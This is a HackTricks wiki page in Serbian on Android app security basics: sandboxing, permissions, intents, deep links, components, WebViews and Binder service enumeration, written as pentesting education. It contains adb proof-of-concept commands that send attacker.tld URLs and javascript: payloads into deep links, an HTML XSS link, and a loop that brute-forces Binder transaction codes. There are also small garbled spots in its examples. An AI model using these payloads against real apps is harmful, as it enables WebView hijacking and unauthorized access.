Osnove Android aplikacija

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Android sigurnosni model

Postoje dva sloja:

  • The OS, koji drži instalirane aplikacije izolovanim jedna od druge.
  • aplikacija, koja dozvoljava developerima da izlože određene funkcionalnosti i konfiguriše mogućnosti aplikacije.

Odvajanje UID-a

Svakoj aplikaciji je dodeljen specifičan User ID. To se radi tokom instalacije aplikacije tako da aplikacija može da interaguje samo sa fajlovima koje poseduje njen User ID ili deljenim fajlovima. Stoga samo sama aplikacija, određene komponente The OS i korisnik root mogu pristupiti podacima aplikacije.

Deljenje UID-a

Dve aplikacije mogu biti konfigurirane da koriste isti UID. Ovo može biti korisno za deljenje informacija, ali ako je jedna od njih kompromitovana, podaci obe aplikacije će biti ugroženi. Zbog toga je ovo ponašanje nepoželjno.
Da bi delile isti UID, aplikacije moraju definisati istu vrednost android:sharedUserId u svojim manifestima.

Sandboxing

The Android Application Sandbox omogućava da se svaka aplikacija pokreće kao poseban proces pod posebnim user ID-jem. Svaki proces ima sopstveni virtuelni mašinski kontekst, tako da se kod aplikacije izvršava izolovano od drugih aplikacija.
Od Android 5.0(L) SELinux je primenjen. U suštini, SELinux je zabranio sve interakcije između procesa i zatim kreirao politike da dozvoli samo očekivane interakcije između njih.

Permissions

Kada instalirate app i ona traži dozvole, aplikacija traži dozvole konfigurisane u uses-permission elementima u AndroidManifest.xml fajlu. Element uses-permission ukazuje na ime tražene dozvole u name atributu. Takođe ima atribut maxSdkVersion koji prestaje da traži dozvole na verzijama višim od navedene.
Napomena da android aplikacije ne moraju da traže sve dozvole na početku, mogu i dinamički da traže dozvole, ali sve dozvole moraju biti deklarisane u manifestu.

Kada aplikacija izlaže funkcionalnost, može ograničiti pristup samo aplikacijama koje imaju određenu dozvolu.
Element permissions ima tri atributa:

  • Ime name dozvole
  • Atribut permission-group, koji omogućava grupisanje srodnih dozvola.
  • protection-level koji ukazuje kako se dozvole dodeljuju. Postoje četiri tipa:
  • Normal: Koristi se kada nema poznatih pretnji za aplikaciju. Korisnik ne mora da odobri ovu dozvolu.
  • Dangerous: Ukazuje da dozvola daje zahtevajućoj aplikaciji neke povišene privilegije. Korisnicima se traži da ih odobre.
  • Signature: Samo aplikacije potpisane istim sertifikatom kao onaj koji eksportuje komponentu mogu dobiti dozvolu. Ovo je najstroži tip zaštite.
  • SignatureOrSystem: Samo aplikacije potpisane istim sertifikatom kao onaj koji eksportuje komponentu ili aplikacije koje se izvršavaju sa sistemskim privilegijama mogu dobiti dozvole

Predinstalirane aplikacije

Ove aplikacije se generalno nalaze u /system/app ili /system/priv-app direktorijumima i neke od njih su optimizovane (možda čak i nećete naći classes.dex fajl). Ove aplikacije vredi proveriti jer ponekad rade sa previše dozvola (kao root).

  • One koje su isporučene sa AOSP (Android OpenSource Project) ROM
  • Dodate od strane proizvođača uređaja
  • Dodate od strane mobilnog operatera (ako je uređaj kupljen od njih)

Rootovanje

Da biste dobili root pristup na fizičkom android uređaju obično je potrebno eksploatisati 1 ili 2 ranjivosti koje su često specifične za uređaj i verziju.
Kada exploit uspe, obično se Linux su binar kopira na lokaciju navedenu u PATH env varijabli korisnika kao što je /system/xbin.

Kada je su binar konfigurisan, druga Android aplikacija se koristi da interaguje sa su binarom i obradi zahteve za root pristup kao što su Superuser i SuperSU (dostupni na Google Play store).

Caution

Napomena da je proces rootovanja veoma opasan i može ozbiljno oštetiti uređaj

ROM-ovi

Moguće je zameniti OS instaliranjem custom firmware-a. Time je moguće produžiti korisnost starog uređaja, zaobići softverska ograničenja ili dobiti pristup najnovijem Android kodu.
OmniROM i LineageOS su dva od najpopularnijih firmware-a za upotrebu.

Napomena da nije uvek neophodno rootovati uređaj da biste instalirali custom firmware. Neki proizvođači dozvoljavaju otključavanje bootloader-a na dobro dokumentovan i bezbedan način.

Posledice

Kada je uređaj root-ovan, bilo koja aplikacija može zatražiti pristup kao root. Ako maliciozna aplikacija dobije taj pristup, imaće pristup gotovo svemu i moći će da ošteti telefon.

Osnove Android aplikacije

  • Format Android aplikacija se naziva APK file format. To je suštinski ZIP file (promenom ekstenzije fajla u .zip, sadržaj se može ekstraktovati i pregledati).
  • APK Contents (Not exhaustive)
  • AndroidManifest.xml
  • resources.arsc/strings.xml
  • resources.arsc: sadrži prekompajlovane resurse, kao što je binarni XML.
  • res/xml/files_paths.xml
  • META-INF/
  • Tu se nalazi sertifikat!
  • classes.dex
  • Sadrži Dalvik bytecode, koji predstavlja kompajlirani Java (ili Kotlin) kod koji aplikacija izvršava po defaultu.
  • lib/
  • Smešta native biblioteke, razdvojene po CPU arhitekturi u poddirektorijumima.
  • armeabi: kod za ARM bazirane procesore
  • armeabi-v7a: kod za ARMv7 i novije procesore
  • x86: kod za X86 procesore
  • mips: kod samo za MIPS procesore
  • assets/
  • Skladišti razne fajlove koje aplikacija treba, potencijalno uključujući dodatne native biblioteke ili DEX fajlove, ponekad korišćene od strane autora malvera za skrivanje dodatnog koda.
  • res/
  • Sadrži resurse koji nisu kompajlovani u resources.arsc

Dalvik & Smali

U Android razvoju, Java or Kotlin se koristi za kreiranje app-a. Umesto JVM-a kao kod desktop aplikacija, Android kompajlira ovaj kod u Dalvik Executable (DEX) bytecode. Ranije je Dalvik virtuelna mašina obrađivala ovaj bytecode, ali sada, Android Runtime (ART) preuzima posao u novijim Android verzijama.

Za reverse engineering, Smali postaje ključno. To je čitljivija verzija DEX bytecode-a, funkcioniše kao asembler prevodeći izvorni kod u instrukcije bytecode-a. Smali i baksmali se odnose na alate za asembiliranje i disasembliranje u ovom kontekstu.

Intents

Intents su primarno sredstvo kojim Android app-i komuniciraju između svojih komponenti ili sa drugim aplikacijama. Ovi objekti poruka takođe mogu prenositi podatke između aplikacija ili komponenti, slično načinu na koji se koriste GET/POST zahtevi u HTTP komunikaciji.

Dakle, Intent je u suštini poruka koja se prosleđuje između komponenti. Intents mogu biti usmereni ka određenim komponentama ili app-ovima, ili se mogu poslati bez specifičnog primaoca.
Jednostavno rečeno, Intent se može koristiti:

  • Za pokretanje Activity-ja, obično otvaranje korisničkog interfejsa aplikacije
  • Kao broadcasts da informiše sistem i aplikacije o promenama
  • Za pokretanje, zaustavljanje i komunikaciju sa background service-om
  • Za pristup podacima preko ContentProviders
  • Kao callback-ovi za rukovanje događajima

Ako su ranjivi, Intents se mogu iskoristiti za izvođenje raznih napada.

Intent-Filter

Intent Filters definišu kako activity, service, ili Broadcast Receiver može da interaguje sa različitim tipovima Intents-a. Suštinski, oni opisuju sposobnosti ovih komponenti, kao šta akcije mogu da izvrše ili koje vrste broadcast-ova mogu da obrade. Primarno mesto za deklarisanje ovih filtera je AndroidManifest.xml fajl, iako za Broadcast Receiver-e postoji opcija da se oni napišu i u kodu.

Intent Filters se sastoje od kategorija, akcija i data filtera, sa mogućnošću uključivanja dodatnog metadata. Ovaj setup omogućava komponentama da obrade specifične Intents koji se poklapaju sa deklarisanim kriterijumima.

Ključni aspekt Android komponenti (activities/services/content providers/broadcast receivers) je njihova vidljivost ili javni status. Komponenta se smatra javnom i može interagovati sa drugim app-ovima ako je exported postavljena na vrednost true ili ako je Intent Filter deklarisan za nju u manifestu. Međutim, postoji način da developeri eksplicitno drže ove komponente privatnim, osiguravajući da ne interaguju sa drugim aplikacijama nenamerno. To se postiže postavljanjem atributa exported na false u njihovim manifest definicijama.

Pored toga, developeri imaju opciju da dodatno osiguraju pristup ovim komponentama zahtevajući specifične dozvole. Atribut permission može biti postavljen kako bi se nametnulo da samo aplikacije sa dodeljenom dozvolom mogu pristupiti komponenti, dodajući dodatni sloj bezbednosti i kontrole ko može interagovati sa njom.

<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>

Implicitni intenti

Intenti se programatski kreiraju koristeći konstruktor klase Intent:

Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));

Action prethodno deklarisanog intent-a je ACTION_SEND, a Extra je mailto Uri (Extra su dodatne informacije koje intent očekuje).

Ovaj intent treba da bude deklarisan u manifestu kao u sledećem primeru:

<activity android:name="ShareActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

Intent-filter mora da se poklapa sa action, data i category da bi primio poruku.

Proces “Intent resolution” određuje koja aplikacija treba da primi svaku poruku. Ovaj proces uzima u obzir priority attribute, koji se može podesiti u intent-filter declaration, i the one with the higher priority will be selected. Ova vrednost prioriteta može biti postavljena između -1000 i 1000 i aplikacije mogu koristiti vrednost SYSTEM_HIGH_PRIORITY. Ako se pojavi konflikt, pojavljuje se “chooser” prozor tako da korisnik može da odluči.

Eksplicitni intenti

Eksplicitan intent navodi naziv klase kojoj je namenjen:

Intent downloadIntent = new (this, DownloadService.class):

U drugim aplikacijama, da biste pristupili prethodno deklarisanom intentu, možete koristiti:

Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);

Pending Intenti

Oni dozvoljavaju drugim aplikacijama da preuzmu radnje u ime vaše aplikacije, koristeći identitet i dozvole vaše aplikacije. Prilikom konstruisanja Pending Intent-a treba navesti intent i akciju koja će se izvršiti. Ako deklarisani intent nije Explicit (ne navodi koji intent može da ga pozove), maliciozna aplikacija bi mogla da izvrši deklarisanu akciju u ime žrtvine aplikacije. Štaviše, ako akcija nije specificirana, maliciozna aplikacija će moći da izvrši bilo koju akciju u ime žrtve.

Broadcast Intenti

Za razliku od prethodnih intent-a, koji se primaju samo od strane jedne aplikacije, broadcast intenti mogu biti primljeni od strane više aplikacija. Međutim, od API verzije 14, moguće je odrediti aplikaciju koja treba da primi poruku koristeći Intent.set Package.

Alternativno, moguće je i navesti dozvolu prilikom slanja broadcast-a. Aplikacija koja prima će morati da ima tu dozvolu.

Postoje dvе vrste Broadcast-ova: Normal (asinhroni) i Ordered (sinhroni). Redosled se zasniva na konfigurisanoj prioritetu unutar elementa receiver. Svaka aplikacija može obraditi, proslediti ili odbaciti Broadcast.

Moguće je poslati broadcast koristeći funkciju sendBroadcast(intent, receiverPermission) iz klase Context.
Takođe možete koristiti funkciju sendBroadcast iz LocalBroadCastManager koja obezbeđuje da poruka nikada ne napusti aplikaciju. Korišćenjem ovoga čak nećete morati da export-ujete receiver komponentu.

Sticky Broadcastovi

Ova vrsta Broadcast-ova može biti pristupljena dugo nakon što su poslati.
Oni su deprecated u API nivou 21 i preporučuje se ne koristiti ih.
Dozvoljavaju svakoj aplikaciji da pronađe podatke, ali i da ih izmeni.

Ako nađete funkcije koje sadrže reč “sticky” kao što su sendStickyBroadcast ili sendStickyBroadcastAsUser, proverite uticaj i pokušajte da ih uklonite.

Deep linkovi / URL scheme-ovi

U Android aplikacijama, deep links se koriste za pokretanje akcije (Intent) direktno kroz URL. Ovo se radi deklarisanjem specifične URL scheme unutar aktivnosti. Kada Android uređaj pokuša da pristupi URL-u sa ovom shemom, navedena aktivnost u aplikaciji će biti pokrenuta.

Shema mora biti deklarisana u AndroidManifest.xml fajlu:

[...]
<activity android:name=".MyActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="examplescheme" />
</intent-filter>
[...]

Šema iz prethodnog primera je examplescheme:// (takođe obratite pažnju na category BROWSABLE)

Zatim, u data polju, možete navesti host i path:

<data android:scheme="examplescheme"
android:host="example"
/>

Da biste mu pristupili preko weba, možete postaviti link kao:

<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>

Da biste pronašli kod koji će se izvršiti u aplikaciji, idite na aktivnost koju poziva deeplink i potražite funkciju onNewIntent.

Learn how to call deep links without using HTML pages.

Deep link testiranje bezbednosti & adb PoCs

  • Entry point discovery: exportovane Activities koje deklarišu <action android:name="android.intent.action.VIEW" /> + <category android:name="android.intent.category.BROWSABLE" /> mogu biti udaljeno dostupne putem kreiranih URI-ja (custom schemes or http/https App Links). Prioritet dajte putanjama koje sadrže ključne reči login/reset/payment/wallet/admin.
  • Validation bypass heuristics: slabe provere hosta kao što su endsWith(), contains(), previše permisivne regex-e, ili substring allowlist-e obično se mogu zaobići pomoću poddomena koje kontroliše napadač, trikova sa prefiksima/sufiksima i dvostrukog enkodiranja URL/UTF‑8.
  • WebView sinks: ako handler prosleđuje dolazni URI ili query parametre u WebView.loadUrl(...), možete prisiliti aplikaciju da prikaže proizvoljan sadržaj napadača. Ako je validacija sheme slaba, pokušajte i sa javascript: payload-ovima kao i eksternim https:// URL-ovima.
  • adb PoC templates (implicit vs explicit):
# Generic implicit VIEW (custom scheme or App Link)
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Explicitly target a specific Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myapp://host/path?redirect=https://attacker.tld"

# Try javascript: when scheme filters are lax
adb shell am start -a android.intent.action.VIEW \
-d "myapp://host/web?url=javascript:alert(1)"
  • Operational tips: snimite više varijanti payload-a (external URL vs javascript:) i brzo ih reproducirajte protiv uređaja/emulatora da biste razlikovali prave probleme (open-redirect/auth-bypass/WebView URL injection) od šuma iz static-analysis.
  • Automation: Deep-C automatizuje deeplink hunting dekompajliranjem APK-a (apktool + dex2jar + jadx), nabrajanjem exported + browsable activities, korelacijom slabih validacija i WebView.loadUrl tokova, i generisanjem ready-to-run adb PoCs (opciono auto-executed sa --exec).

AIDL - Android Interface Definition Language

The Android Interface Definition Language (AIDL) je dizajniran da olakša komunikaciju između klijenta i servisa u Android aplikacijama putem međuprocesne komunikacije (IPC). Pošto direktan pristup memoriji drugog procesa nije dozvoljen na Androidu, AIDL pojednostavljuje proces maršalovanjem objekata u format koji operativni sistem razume, čime olakšava komunikaciju između različitih procesa.

Key Concepts

  • Bound Services: Ovi servisi koriste AIDL za IPC, omogućavajući aktivnostima ili komponentama da se povežu na servis, naprave zahteve i dobiju odgovore. Metod onBind u klasi servisa je ključan za iniciranje interakcije, što ga čini vitalnim delom za bezbednosnu proveru u potrazi za ranjivostima.

  • Messenger: Kao bound service, Messenger omogućava IPC sa fokusom na obradu podataka kroz metod onBind. Važno je pažljivo pregledati ovaj metod zbog eventualne nebezbedne obrade podataka ili izvršavanja osetljivih funkcija.

  • Binder: Iako je direktna upotreba Binder klase ređa zbog apstrakcije koju pruža AIDL, korisno je znati da Binder deluje kao drajver na nivou kernela koji omogućava prenos podataka između memorijskih prostora različitih procesa. Za dodatno razumevanje, dostupan je resurs na https://www.youtube.com/watch?v=O-UHvFjxwZ8.

Components

Ovo uključuje: Activities, Services, Broadcast Receivers and Providers.

Launcher Activity and other activities

U Android aplikacijama, activities su kao ekrani koji prikazuju različite delove korisničkog interfejsa aplikacije. Aplikacija može imati mnogo aktivnosti, od kojih svaka predstavlja poseban ekran za korisnika.

Glavna launcher activity je primarni ulaz u aplikaciju i pokreće se kada dodirnete ikonu aplikacije. Ona je definisana u manifest fajlu aplikacije sa specifičnim MAIN i LAUNCHER intentima:

<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

Ne svim aplikacijama je potrebna launcher activity, posebno onima bez korisničkog interfejsa, kao što su pozadinske usluge.

Aktivnosti se mogu učiniti dostupnim drugim aplikacijama ili procesima označavanjem kao “exported” u manifestu. Ova postavka omogućava drugim aplikacijama da pokrenu ovu aktivnost:

<service android:name=".ExampleExportedService" android:exported="true"/>

Međutim, pristupanje aktivnosti iz druge aplikacije nije uvek bezbednosni rizik. Problem nastaje ako se osetljivi podaci dele nepravilno, što može dovesti do information leaks.

Životni ciklus aktivnosti počinje onCreate metodom, postavljajući UI i pripremajući aktivnost za interakciju sa korisnikom.

Podklasa Application

U Android razvoju, aplikacija ima opciju da kreira podklasu Application klase, iako to nije obavezno. Kada je takva podklasa definisana, ona postaje prva klasa koja se instancira unutar aplikacije. Metod attachBaseContext, ako je implementiran u toj podklasi, izvršava se pre onCreate metode. Ovo podešavanje omogućava ranu inicijalizaciju pre nego što ostatak aplikacije počne.

public class MyApp extends Application {
@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
// Initialization code here
}

@Override
public void onCreate() {
super.onCreate();
// More initialization code
}
}

Services

Services su pozadinski operativci sposobni da izvršavaju zadatke bez korisničkog interfejsa. Ti zadaci mogu nastaviti da rade čak i kada korisnici pređu na druge aplikacije, zbog čega su Services ključni za dugotrajne operacije.

Services su svestrani; mogu se pokrenuti na različite načine, pri čemu su Intents primarna metoda za njihovo pokretanje kao ulazne tačke aplikacije. Kada se servis pokrene pomoću startService metode, njegova onStart metoda počinje da radi i ostaje aktivna dok se eksplicitno ne pozove stopService metoda. Alternativno, ako je uloga servisa zavisna od aktivne konekcije klijenta, koristi se bindService metoda za povezivanje klijenta sa servisom, pri čemu onBind metoda omogućava prenos podataka.

Zanimljiva primena Services uključuje reprodukciju muzike u pozadini ili preuzimanje mrežnih podataka bez ometanja interakcije korisnika sa aplikacijom. Štaviše, Services mogu biti dostupni drugim procesima na istom uređaju kroz exporting. Ovo nije podrazumevano ponašanje i zahteva eksplicitnu konfiguraciju u Android Manifest fajlu:

<service android:name=".ExampleExportedService" android:exported="true"/>

Broadcast Receivers

Broadcast receivers funkcionišu kao slušači u sistemu poruka, omogućavajući više aplikacija da odgovore na iste poruke iz sistema. Aplikacija može register a receiver na dva glavna načina: kroz aplikacioni Manifest ili dinamički unutar koda aplikacije preko registerReceiver API-ja. U Manifestu se broadcast-ovi filtriraju pomoću permisija, dok dinamički registrovani prijemnici takođe mogu da navedu permisije prilikom registracije.

Intent filters su ključni u oba načina registracije i određuju koje broadcast-ove će prijemnik pokrenuti. Kada se pošalje odgovarajući broadcast, poziva se metoda prijemnika onReceive, što omogućava aplikaciji da reaguje, na primer prilagođavanjem ponašanja kao odgovor na upozorenje o niskom nivou baterije.

Broadcast-ovi mogu biti ili asynchronous, koji stižu do svih prijemnika bez određenog reda, ili synchronous, gde prijemnici dobijaju broadcast prema postavljenim prioritetima. Međutim, važno je napomenuti potencijalni bezbednosni rizik, jer bilo koja aplikacija može sebi dodeliti viši prioritet da presretne broadcast.

Da biste razumeli funkcionalnost prijemnika, potražite metodu onReceive unutar njegove klase. Kod te metode može manipulisati primljenim Intent-om, što naglašava potrebu za validacijom podataka od strane prijemnika, naročito kod Ordered Broadcasts, koji mogu izmeniti ili odbaciti Intent.

Content Provider

Content Providers su ključni za deljenje strukturiranih podataka između aplikacija, naglašavajući važnost implementacije permisija radi zaštite podataka. Omogućavaju aplikacijama pristup podacima iz različitih izvora, uključujući baze podataka, fajl sisteme ili web. Specifične permisije, kao što su readPermission i writePermission, su bitne za kontrolu pristupa. Takođe, privremeni pristup se može odobriti preko grantUriPermission podešavanja u manifestu aplikacije, koristeći atribute kao što su path, pathPrefix i pathPattern za detaljnu kontrolu pristupa.

Validacija ulaza je od presudnog značaja kako bi se sprečile ranjivosti, kao što je SQL injection. Content Providers podržavaju osnovne operacije: insert(), update(), delete(), i query(), što omogućava manipulaciju podacima i njihovo deljenje među aplikacijama.

Permission semantics and pitfalls (Content Providers)

  • Ako je provider exported, treba eksplicitno deklarisati i readPermission i writePermission. Kada je writePermission izostavljen, podrazumevana vrednost je null, što znači da svaka aplikacija može pokušati insert/update/delete ukoliko su te metode implementirane od strane providera.
  • Nikada ne konkatenirajte nepouzdane projection, selection, selectionArgs ili sortOrder u sirovi SQL. Koristite white-liste i parameter binding (npr. SQLiteQueryBuilder sa projection map) i fiksne WHERE šablone.
  • Preferirajte android:exported=“false” osim ako provider ne mora biti javan. Za selektivno deljenje, koristite grantUriPermissions sa path/pathPrefix/pathPattern.

FileProvider, specijalizovani Content Provider, fokusira se na bezbedno deljenje fajlova. Definiše se u manifestu aplikacije sa specifičnim atributima za kontrolu pristupa folderima, označenim pomoću android:exported i android:resource koji ukazuju na konfiguracije foldera. Potrebna je opreznost prilikom deljenja direktorijuma kako se slučajno ne bi izložili osetljivi podaci.

Primer deklaracije u manifestu za FileProvider:

<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths" />
</provider>

I primer navođenja deljenih foldera u filepaths.xml:

<paths>
<files-path path="images/" name="myimages" />
</paths>

Za više informacija pogledajte:

WebViews

WebViews su kao mini web pregledači unutar Android aplikacija, učitavajući sadržaj bilo sa weba ili iz lokalnih fajlova. Suoče se sa sličnim rizicima kao obični pregledači, ali postoje načini da se ti rizici smanje putem specifičnih podešavanja.

Android nudi dve glavne vrste WebView-a:

  • WebViewClient je dobar za osnovni HTML, ali ne podržava JavaScript alert funkciju, što utiče na način testiranja XSS napada.
  • WebChromeClient se ponaša više kao pun Chrome pregledač.

Ključna napomena je da WebView pregledači ne dele kolačiće sa glavnim pregledačem na uređaju.

Za učitavanje sadržaja dostupne su metode kao loadUrl, loadData i loadDataWithBaseURL. Ključno je osigurati da su ti URL-ovi ili fajlovi sigurni za korišćenje. Bezbednosna podešavanja se mogu upravljati preko klase WebSettings. Na primer, onemogućavanje JavaScript-a pomoću setJavaScriptEnabled(false) može sprečiti XSS napade.

JavaScript “Bridge” omogućava Java objektima da komuniciraju sa JavaScript-om; zahteva da metode budu označene sa @JavascriptInterface radi bezbednosti od Android 4.2 naviše.

Dozvola pristupa sadržaju (setAllowContentAccess(true)) omogućava WebView-ovima pristup Content Providers, što može predstavljati rizik osim ako se content URL-ovi ne verifikuju kao sigurni.

Za kontrolu pristupa fajlovima:

  • Onemogućavanje pristupa fajlovima (setAllowFileAccess(false)) ograničava pristup fajl-sistemu, uz izuzetke za određene assets, osiguravajući da se koriste samo za neosetljiv sadržaj.

Other App Components and Mobile Device Management

Digital Signing of Applications

  • Digital signing je neophodan za Android aplikacije, osiguravajući da potiču od verodostojnog autora pre instalacije. Ovaj proces koristi sertifikat za identifikaciju aplikacije i mora biti verifikovan od strane package manager-a uređaja prilikom instalacije. Aplikacije mogu biti self-signed ili certified by an external CA, čime se štite od neovlašćenog pristupa i osigurava da aplikacija nije izmenjena tokom isporuke na uređaj.

App Verification for Enhanced Security

  • Počevši od Android 4.2, funkcija nazvana Verify Apps omogućava korisnicima da provere sigurnost aplikacija pre instalacije. Ovaj proces verifikacije može upozoriti korisnike na potencijalno štetne aplikacije, ili čak sprečiti instalaciju posebno zlonamernih, čime se povećava bezbednost korisnika.

Mobile Device Management (MDM)

  • MDM solutions obezbeđuju nadzor i bezbednost mobilnih uređaja preko Device Administration API. Ona zahtevaju instalaciju Android aplikacije da bi efikasno upravljala i štitila mobilne uređaje. Ključne funkcije uključuju primenu politika lozinki, obavezno enkriptovanje skladišta i dozvolu za daljinsko brisanje podataka, čime se obezbeđuje sveobuhvatna kontrola i bezbednost mobilnih uređaja.
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
ComponentName adminComponent = new ComponentName(context, AdminReceiver.class);

if (dpm.isAdminActive(adminComponent)) {
// Set minimum password length
dpm.setPasswordMinimumLength(adminComponent, 8);
}

Enumerating and Exploiting AIDL / Binder Services

Android Binder IPC izlaže mnoge sistemske i vendor-provided servise. Ti servisi postaju an attack surface kada su izvezeni bez odgovarajuće provere permisija (AIDL sloj sam po sebi ne vrši nijednu kontrolu pristupa).

1. Otkrivanje pokrenutih servisa

# from an adb shell (USB or wireless)
service list               # simple one-liner
am list services           # identical output, ActivityManager wrapper
  1. Prva stavka
  2. Druga stavka
  3. Treća stavka
145  mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
146  wifi             : [android.net.wifi.IWifiManager]
  • index (prva kolona) se dodeljuje pri izvršavanju – ne oslanjajte se na njega nakon ponovnog pokretanja.
  • Binder name (npr. mtkconnmetrics) je ono što će biti prosleđeno service call.
  • Vrednost unutar zagrada je potpuno kvalifikovan AIDL interface iz kojeg je stub generisan.

2. Dobijte deskriptor interfejsa (PING)

Svaki Binder stub automatski implementira transaction code 0x5f4e5446 (1598968902 decimal, ASCII “_NTF”).

# "ping" the service
service call mtkconnmetrics 1    # 1 == decimal 1598968902 mod 2^32

Važeći odgovor vraća ime interfejsa enkodirano kao UTF-16 string unutar Parcel.

3. Pozivanje transakcije

Sintaksa: service call <name> <code> [type value ...]

Uobičajeni specifikatori argumenata:

  • i32 <int> – potpisana 32-bitna vrednost
  • i64 <long> – potpisana 64-bitna vrednost
  • s16 <string> – UTF-16 string (Android 13+ koristi utf16)

Primer – pokretanje nadgledanja mreže sa uid 1 na MediaTek uređaju:

service call mtkconnmetrics 8 i32 1

4. Brute-forcing nepoznatih metoda

Kada header fajlovi nisu dostupni možete iterirati kod dok se greška ne promeni sa:

Result: Parcel(00000000 00000000)  # "Not a data message"

u normalan Parcel odgovor ili SecurityException.

for i in $(seq 1 50); do
printf "[+] %2d -> " $i
service call mtkconnmetrics $i 2>/dev/null | head -1
done

Ako je servis kompajliran with proguard mapiranje mora biti pogođeno – pogledajte sledeći korak.

5. Mapiranje kodova ↔ metoda preko onTransact()

Dekompajlirajte jar/odex koji implementira interfejs (za AOSP stubove proverite /system/framework; OEM-i često koriste /system_ext ili /vendor). Potražite Stub.onTransact() – on sadrži ogroman switch(transactionCode):

case TRANSACTION_updateCtaAppStatus:      // 5
data.enforceInterface(DESCRIPTOR);
int appId  = data.readInt();
boolean ok = data.readInt() != 0;
updateCtaAppStatus(appId, ok);
reply.writeNoException();
return true;

Sada su prototip i tipovi parametara potpuno jasni.

6. Otkrivanje nedostajućih provera dozvola

Implementacija (često unutrašnja Impl klasa) je odgovorna za autorizaciju:

private void updateCtaAppStatus(int uid, boolean status) {
if (!isPermissionAllowed()) {
throw new SecurityException("uid " + uid + " rejected");
}
/* privileged code */
}

Nedostatak takve logike ili bele liste privilegovanih UID-ova (npr. uid == 1000 /*system*/) je indikator ranjivosti.

Studija slučaja – MediaTek startMonitorProcessWithUid() (transakcija 8) u potpunosti izvršava Netlink poruku bez bilo kakvog permission gate-a, omogućavajući neprivilegovanom app-u da komunicira sa kernel’s Netfilter modulom i spamuje sistemski log.

7. Automatizacija procene

Alati / skripte koje ubrzavaju Binder reconnaissance:

  • binderfs – izlaže /dev/binderfs sa čvorovima po servisu
  • binder-scanner.py – prolazi kroz binder tabelu i ispisuje ACLs
  • Frida prečica: Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks